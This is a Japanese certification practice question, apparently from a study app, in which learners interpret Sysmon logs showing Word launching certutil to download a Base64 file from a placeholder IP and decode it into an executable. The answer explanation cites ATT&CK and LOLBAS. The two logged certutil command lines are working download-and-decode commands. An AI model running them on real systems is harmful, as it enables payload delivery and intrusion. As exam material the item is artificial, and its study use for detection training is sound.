SC Workbook
科目 A-2 · セキュリティ

certutil の悪用の読解

社員の PC でメールの添付ファイルの Word 文書を開いた直後に,Sysmon が次のプロセス作成イベント(ID 1)を記録した(パスは一部省略)。推測できる攻撃者の行動として,最も適切なものはどれか。

No  ParentImage  Image         CommandLine
1   WINWORD.EXE  certutil.exe  certutil.exe -urlcache -split -f http://203.0.113.80/note.txt C:\Users\Public\note.txt
2   WINWORD.EXE  certutil.exe  certutil.exe -decode C:\Users\Public\note.txt C:\Users\Public\svc.exe
  1. ア攻撃者が用意したルート証明書を certutil で信頼済みの証明書ストアに登録し,以後の HTTPS 通信を中間者として復号できるようにした。
  2. イPC 内の文書を certutil で Base64 に符号化し,HTTP を用いて外部のサーバへ送信した。
  3. ウWord が文書のデジタル署名を検証するために certutil を起動し,証明書の失効情報を取得してキャッシュした正常な動作である。
  4. エOS に標準で備わる certutil を悪用して,外部から Base64 で符号化されたファイルを取得し,実行ファイルに復号した。
正解と解説を見る

正解 エ

この問題の基礎知識

  • certutil.exe は Windows に標準で備わる証明書管理用のコマンドであり,-urlcache で URL からファイルを取得でき,-encode と -decode で Base64 の符号化と復号を行える。
  • OS に標準で備わる正規のツールを攻撃に悪用する手法は LotL(Living off the Land)と呼ばれ,正規のプログラムなので不審と判断されにくい。
  • Sysmon のイベント ID 1 はプロセスの作成を記録し,ParentImage は親プロセス,Image は起動されたプログラム,CommandLine は引数を含むコマンドラインを示す。
  • Office アプリケーションがコマンドラインツールを起動するのは不審な兆候である。
ア攻撃者が用意したルート証明書を certutil で信頼済みの証明書ストアに登録し,以後の HTTPS 通信を中間者として復号できるようにした。

certutil によるルート証明書の登録(ATT&CK の Install Root Certificate)は -addstore などで行う。ログの -urlcache -split -f は URL からのファイルの取得,-decode は Base64 の復号であり,証明書ストアは操作していない。

イPC 内の文書を certutil で Base64 に符号化し,HTTP を用いて外部のサーバへ送信した。

符号化は -encode で行い,収集したデータを符号化する使い方は Archive via Utility に当たる。ログは外部の URL から PC へファイルを取得し,取得したファイルを -decode で復号しており,データの流れる向きが逆である。

ウWord が文書のデジタル署名を検証するために certutil を起動し,証明書の失効情報を取得してキャッシュした正常な動作である。

取得先は IP アドレスで直接指定されたテキストファイルで,保存先は誰でも書き込める C:\Users\Public である。さらに取得したファイルを復号して .exe を作成しており,署名の検証に伴う正常な動作とは考えられない。

エOS に標準で備わる certutil を悪用して,外部から Base64 で符号化されたファイルを取得し,実行ファイルに復号した。正解

ATT&CK は certutil を,URL からのファイルの取得(Ingress Tool Transfer)や Base64 で隠されたバイナリの復号(Deobfuscate/Decode Files or Information)に使われるツールとしている。OS 標準ツールの悪用の典型である。

検証用の出典出典照合済み
MITRE ATT&CK S0160 certutil / MITRE ATT&CK T1105 Ingress Tool Transfer / LOLBAS Certutil.exe (https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/yml/OSBinaries/Certutil.yml)
照合の根拠(8 件)

ウ(署名検証に伴う正常動作)は,取得したファイルを -decode で .exe に復号している点から正解の根拠により排除される。オプションの意味は ATT&CK に無いため LOLBAS で補った。

問題 ID A2-SEC-0632 · AI 作成のオリジナル問題 · 正解と各選択肢の根拠を出典の原文で確認しています。 照合日 2026-11-08

非公式の学習用アプリです(IPA とは関係ありません)。問題はすべて AI が作成したオリジナルで、誤りを含む場合があります。